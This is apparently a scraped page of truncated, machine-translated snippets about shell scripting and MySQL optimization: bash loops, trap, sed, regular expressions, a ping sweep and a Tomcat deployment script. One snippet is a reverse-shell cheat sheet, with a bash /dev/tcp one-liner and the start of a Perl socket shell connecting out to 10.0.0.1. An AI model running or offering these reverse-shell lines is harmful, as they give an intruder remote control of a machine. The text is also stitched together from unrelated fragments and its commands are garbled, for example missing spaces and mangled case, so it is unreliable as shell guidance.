Shell

SQL statement OptimizationI. General steps for SQL optimization(1), through the show status command to understand the frequency of execution of various SQL.(2), positioning execution Less efficient SQL statement-(key Select)(3) Explain analysis of

MySQL table optimizer Brief:first, the analysis tablesecond, the inspection tablethird, optimize the tableiv. Table Data ImportFive, lock table operationfirst, the analysis table1.1. Command:ANALYZE [No_write_to_binlog | Local]table tbl_name [,

When writing a program, the condition is used to determine whether the test condition is established. Many times, the judgment condition is multiple, this time needs to use the logical operator. What are the logical operators that are commonly used

As I get used to Python's writing style, I often want to use bash to iterate through the rows of a file and process the rows that are read.But a weird situation if my text resembles thisThe first line.The second line.The third line.For line in ' cat

design a script that monitors the surviving state of a remote machine (assuming IP 123.23.11.21) and sends a message to yourself when it finds an outage. Tips:1. You can use the ping command ping-c10 www.baidu.com2. The order to send the email is

Difference:internal command: Internal commands are built into the shell. The internal command executes very quickly when the shell command is executed. This is because no other process has been created because of the execution of this command. For

Trap commandBasic format: Trap command SIG1 SIG2 ... signThere are 3 types of signals that can be captured:Exit: Exits from the function, or the entire script finishesERR: When a command returns a non-0 status code, the command execution is

d211 Admin # for I in {3..254}; Do ping-c 1 192.168.1. $i &>/dev/null && echo 192.168.1. $i is alive ;d One192.168.1.5 is alive192.168.1.7 is aliveFping-a-G 192.168.5.1 192.168.5.177-s-N >lele.txt -A Show systems that is alive.- G Generate a target

Sed-i '/CD ${ldir_dest}\/webextend\/pc && ln-s \/hard\/www_winclient\/bboxpc.exe./a\ \TCD ${LDIR_DEST}\/ WEBEXTEND\/PC && ln-s \/hard\/www_winclient\/' $i '. '#参考别人后自己改的, it's mostly a variable.Sed-i ' 4i dfsdfdsad ' xxx.txt #Insert contents between

#/secondin/secondfirstshecho "Please enter the Numseconder"Read FirstRead Secondif test $first-eq $secondThen echo "The No.2″"Elif Test $first-GT $second//Determine if it is greater thanThen echo "The No.2″ >else echo "No.2″ FiExample 2. Find out if

ReferenceCase , If I want to output an asterisk (*), How do i use echo ?echo *This is certainly not possible , need to transfer the * , that is : Echo \*This leads to the concept of references . referenced by , is used to prevent Shell to interpret

Method One: Add debugging options when you run the script:"Usage" bash– option./shellscript.sh-e: If a command returns a non-0 exit status value (failed), exit.-N: You do not need to execute the script just to check the syntax structure and return

When it comes to learning about Linux and OpenStack, it's important to learn scripts well, whether it's a large-scale deployment or operation, and shell scripts are already standard.Here are just some basic notes for the Linux shell, which are noted

1. Explanation: A single string that describes or matches a series of strings that conform to a certain syntactic rule.Action object: StringMany are used in document editors or other tools to retrieve and replace text content that conforms to

CTRL key related shortcut keys:Ctrl + A-jump to the start of the lineCtrl + B-move back a charCtrl + c-terminate the command//use the most?Ctrl + D-delete from under the cursorCtrl + E-jump to the end of the lineCtrl + f-move forward a charCtrl +

Regular expressions are primarily a grammar rule used to describe character permutations and matching patterns. It is mainly used for the pattern segmentation, matching, finding and substitution of strings, the main purpose is to match.Wildcard

Bash [NOT generic, related to Linux distributions, tested successfully on Ubuntu]Bash-i >&/dev/tcp/10.0.0.1/8080 0>&1PerlPerl-e ' use Socket; $i = "10.0.0.1"; $p =1234;socket (S,pf_inet,sock_stream,getprotobyname ("TCP")); if (Connect (S),

Manually enter a line of strings and sort them.The script is as follows:#!/bin/bash#a test about sortEcho "Please input a number list"Read -AArrs for((i=0;i${#arrs [@]}; i++)) { for((j=0;j${#arrs [@]}-1, j + +)) {if[[${arrs[j]} -GT ${arrs[j+1]}]];

The special variables IFS in shell, and the special variables IFS in shell As I get used to the writing style of python, I often want to use bash to traverse the lines of a file and process the lines read. But in a strange situation, if my text is

Shell-automatically deploy the war package to tomcat#! /Bin/shCURL = $1CRootDir =/data/tomcat-usercenterShRootDir =/data/tomcat/dll# Delete old versionRm-rf $ shRootDir/usercenter-web.war *# The default war package address is the last successfully